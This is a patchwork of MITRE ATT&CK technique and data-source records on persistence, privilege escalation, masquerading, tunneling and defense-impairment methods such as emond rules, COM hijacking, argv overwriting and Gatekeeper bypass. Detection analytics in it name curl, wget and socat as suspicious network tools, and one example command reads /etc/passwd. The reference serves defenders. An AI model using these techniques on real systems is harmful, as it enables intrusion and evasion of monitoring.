Reference: ATT&CK T1546.014 Emond\n**ATT&CK T1546.014 Emond (full record).** Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the Launch Daemon configuration file at`/System/Library/LaunchDaemons/com.apple.emond.plist`.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. […]\n\n## Reference: ATT&CK T1546.015 Component Object Model Hijacking\n**ATT&CK T1546.015 Component Object Model Hijacking (full record).** Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.\n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

[…]\n\n## Reference: ATT&CK T1546.016 Installer Packages\n**ATT&CK T1546.016 Installer Packages (full record).** Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.\n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.\n\nProtocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.\n\nAdversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Windows\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

Examples:\n\n- AWS: instance enumeration involves the `DescribeInstances` API call, which retrieves information about running or stopped EC2 instances.\n- Azure: VM enumeration can be monitored via the `Microsoft.Compute/virtualMachines/read` operation.\n- GCP: instance enumeration is logged as an `instance.list` operation within GCP Audit Logs.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail: CloudTrail logs stored in S3 or forwarded to CloudWatch.\n- Azure Activity Logs: Accessible via Azure Monitor or exported to a storage account.\n- GCP Audit Logs: Logs Explorer or BigQuery.\n\n**Log sources.** - AWS:CloudTrail (channel: DescribeDBInstances)\n- azure:activity (channel: MICROSOFT.COMPUTE/VIRTUALMACHINES/LIST)\n- gcp:audit (channel: compute.instances.list OR storage.buckets.list)\n- AWS:CloudTrail (channel: DescribeInstances, GetConsoleOutput, DescribeImages)\n- azure:activity (channel: Microsoft.Compute/virtualMachines/read)\n\n## Reference: ATT&CK DC0076 Instance Creation\n**ATT&CK DC0076 Instance Creation (full record).** The initial provisioning and construction of a virtual machine (VM) or compute instance within a cloud infrastructure environment. This activity involves defining and allocating resources such as CPU, memory, storage, and networking to spin up a new compute instance. Examples:\n\n- AWS: creating an EC2 instance using RunInstances API calls.\n- Azure, creating a VM through the Azure Resource Manager (ARM).\n- GCP, an `instance.insert` action recorded.\n\n**Log sources.** - azure:activity (channel: Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown)\n- gcp:audit (channel: compute.instances.insert: sourceImage not in approved projects OR has external image link)\n- azure:activity (channel: MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE)\n- gcp:audit (channel: compute.instances.insert)\n- AWS:CloudTrail (channel: RunInstances,CreateImage)\n\n## Reference: ATT&CK DC0077 Container Start\n**ATT&CK DC0077 Container Start (full record).** \"Container Start\" data component captures events related to the activation or invocation of a container within a containerized environment. This includes starting a previously stopped container, restarting an existing container, or initializing a container for runtime. Monitoring these activities is critical for identifying unauthorized or unexpected container activations, which may indicate potential adversarial activity or misconfigurations. Examples:\n\n- Docker Example: `docker start `, `docker restart `\n- Kubernetes Example: Kubernetes automatically restarts containers as part of pod lifecycle management (e.g., due to health checks or configuration changes).\n- Cloud-Native Example\n- AWS ECS: API Call: StartTask to activate a stopped ECS task.\n- Azure Container Instances: Command to restart a container group instance.\n- GCP Kubernetes Engine: Automatic restarts as part of node or pod management.\n\nThis data component can be collected through the following measures:\n\n- Docker Audit Logging: Enable Docker logging to capture start and restart events. Use tools like auditd to monitor terminal activity involving container lifecycle commands.\n- Kubernetes Audit Logs: Enable Kubernetes API server audit logging.\n- Cloud Provider Logs\n- AWS CloudTrail: Capture StartTask or related API calls for ECS.\n- Azure Monitor: Track activity in container groups that indicate start or restart events.\n- GCP Cloud Logging: Record logs related to pod restarts or scaling events in Kubernetes Engine.\n- SIEM Integration: Collect logs from Docker, Kubernetes, and cloud services to correlate container start events.\n\n**Log sources.** - docker:events (channel: exec_create: docker exec events targeting running containers from non-CI sources)\n- kubernetes:events (channel: start: ContainerStarted or Pulling image → Started container)\n- containerd:runtime (channel: CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces)\n- docker:events (channel: start)\n\n## Reference: ATT&CK DC0078 Network Traffic Flow\n**ATT&CK DC0078 Network Traffic Flow (full record).** Summarized network packet data that captures session-level details such as source/destination IPs, ports, protocol types, timestamps, and data volume, without storing full packet payloads.

An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane.\n\nFor example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance. They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Disable or Modify Cloud Firewall**\n - Creation, deletion, or modification of security groups and firewall rules in cloud control plane logs that expand access to cloud resources beyond expected baselines. […]\n\n## Reference: ATT&CK T1686.002 Network Device Firewall\n**ATT&CK T1686.002 Network Device Firewall (full record).** Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage.\n\nAdversaries may obtain access to devices such as routers, switches, or other perimeter/network devices and change access control lists (ACLs), security zones, or policy rules to permit otherwise blocked traffic. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions. Allowing access to internal network subsets may enable unrestricted inbound/outbound connectivity or open paths for command and control and lateral movement.\n\nAdversaries may obtain access to network device management interfaces via Valid Accounts or by exploiting vulnerabilities. In some cases, threat actors may target firewalls and other network infrastructure that are exposed to the internet by leveraging weaknesses in public-facing applications (Exploit Public-Facing Application).\n\nAdversaries may also modify host networking configurations that indirectly manipulate system firewalls, such as adjusting interface bandwidth or network connection request thresholds.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic.\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]\n\n## Reference: ATT&CK T1686.003 Windows Host Firewall\n**ATT&CK T1686.003 Windows Host Firewall (full record).** Adversaries may disable or modify the Windows host firewall to bypass controls limiting network usage. This can include disabling the Windows host firewall entirely, suppressing specific profiles (domain, private, public), or adding, deleting, and modifying firewall rules to allow or restrict traffic.\n\nAdversaries may perform these modifications through multiple mechanisms depending on the Windows operating system and access level. For example, adversaries may use command-line utilities (e.g., `netsh advfirewall` or PowerShell cmdlets like `Set-NetFirewallProfile`, `New-NetFirewallRule`), Windows Registry modifications (e.g., altering firewall states and rule configurations via registry keys), or the Windows Control Panel to modify firewall settings through the Windows Security interface.\n\nBy disabling or modifying Windows firewall services, adversaries may enable access to remote services, open ports for command and control traffic, or configure rules for further actions.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. […]\n\n## Reference: ATT&CK T1687 Exploitation for Defense Impairment\n**ATT&CK T1687 Exploitation for Defense Impairment (full record).** Adversaries may exploit vulnerabilities in security software, infrastructure, or defensive components to degrade, disable, or otherwise continue to impair their ability to prevent, detect, or respond to malicious activity.\n\nAdversaries may exploit a system or application vulnerability to directly interfere with defensive mechanisms. Exploitation occurs when an adversary takes advantage of a programming error in software, services, or the operating system to execute adversary-controlled code, often with the goal of weakening or disabling protections.\n\nVulnerabilities may exist in security tools such as antivirus, endpoint detection and response (EDR), firewalls, or other monitoring solutions. Adversaries may use prior reconnaissance or perform discovery activities (e.g., Software Discovery) to identify defensive tools present in an environment and target them for exploitation.\n\nSuccessful exploitation may allow adversaries to terminate security processes, disable protections, bypass enforcement mechanisms, or reduce the effectiveness of defensive controls. In some cases, vulnerabilities in cloud-based or SaaS infrastructure may also be leveraged to bypass built-in security boundaries or disrupt visibility and enforcement across environments.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS, Linux, macOS, SaaS, Windows\n\n**Detection strategies and analytics.** - **Detection of Defense Impairment**\n - Detects suspicious interactions with security products followed by service crashes, unexpected restarts, driver unloads, telemetry gaps, or tamper-state changes.

Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages` and `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages`.

[…]\n\n## Reference: ATT&CK T1547.006 Kernel Modules and Extensions\n**ATT&CK T1547.006 Kernel Modules and Extensions (full record).** Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.\n\nWhen used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0). Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through `kextload` and `kextunload` commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.\n\nAdversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open source projects as well. […]\n\n## Reference: ATT&CK T1547.007 Re-opened Applications\n**ATT&CK T1547.007 Re-opened Applications (full record).** Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\". When selected, all applications currently open are added to a property list file named `com.apple.loginwindow.[UUID].plist` within the `~/Library/Preferences/ByHost` directory. Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish Persistence by adding a malicious application path to the `com.apple.loginwindow.[UUID].plist` file to execute payloads when a user logs in.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect persistence via reopened application plist modification (macOS)**\n - Unusual modification or creation of loginwindow-related plist files in '~/Library/Preferences/ByHost' correlated with unauthorized application paths and execution upon login.

The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

These processes often interact with critical components, making them prime targets for techniques like code injection, privilege escalation, and process manipulation. This mitigation can be implemented through the following measures:\n- **Credential Access Protection**: Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access. This involves restricting access to credential storage mechanisms, hardening configurations to block credential dumping methods, and using monitoring tools to detect suspicious credential-related activity. This mitigation can be implemented through the following measures:\n- **Restrict Library Loading**: Restricting library loading involves implementing security controls to ensure that only trusted and verified libraries (DLLs, shared objects, etc.) are loaded into processes.

A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

[…]\n\n## Reference: ATT&CK T1036.008 Masquerade File Type\n**ATT&CK T1036.008 Masquerade File Type (full record).** Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is ` 0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.\n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.\n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

[…]\n\n## Reference: ATT&CK T1036.009 Break Process Trees\n**ATT&CK T1036.009 Break Process Trees (full record).** An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.\n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.\n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. […]\n\n## Reference: ATT&CK T1036.011 Overwrite Process Arguments\n**ATT&CK T1036.011 Overwrite Process Arguments (full record).** Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the `main` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc//cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges.\n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc//cmdline` and displayed by tools like `ps`.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.\n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.\n\nProtocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.\n\nAdversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Windows\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n\n**Detection strategies and analytics.** - **Detection Strategy for Protocol Tunneling accross OS platforms.**\n - Processes such as plink.exe, ssh.exe, or netsh.exe establishing outbound network connections where traffic patterns show encapsulated protocols (e.g., RDP over SSH). Defender observations include anomalous process-to-network relationships, large asymmetric data flows, and port usage mismatches. […]\n\n## Reference: ATT&CK T1573 Encrypted Channel\n**ATT&CK T1573 Encrypted Channel (full record).** Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n\n**Sub-techniques.** - T1573.002 Asymmetric Cryptography: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n- T1573.001 Symmetric Cryptography: Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **SSL/TLS Inspection**: SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Encrypted Channel across OS Platforms**\n - Processes that normally do not initiate network connections establishing outbound encrypted TLS/SSL sessions, especially with asymmetric traffic volumes (client sending more than receiving) or non-standard certificate chains. Defender observations correlate process creation with unexpected network encryption libraries being loaded. (telemetry: WinEventLog:Sysmon:EventCode=3, 22, WinEventLog:Sysmon:EventCode=7)\n - Processes like curl, wget, python, socat, or custom binaries initiating TLS/SSL sessions to non-standard destinations. Defender sees abnormal syscalls for connect, loading of libssl libraries, and persistent outbound encrypted traffic from daemons not normally communicating externally.

Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials.

Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1553.005 Mark-of-the-Web Bypass: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls.\n- T1553.002 Code Signing: Adversaries may create, acquire, or steal code signing materials to sign their malware or tools.\n- T1553.004 Install Root Certificate: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n- T1553.003 SIP and Trust Provider Hijacking: Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks.\n- T1553.006 Code Signing Policy Modification: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code.\n- T1553.001 Gatekeeper Bypass: Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. […]\n\n## Reference: ATT&CK T1553.001 Gatekeeper Bypass\n**ATT&CK T1553.001 Gatekeeper Bypass (full record).** Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing – Gatekeeper checks for a valid code signature from an Apple 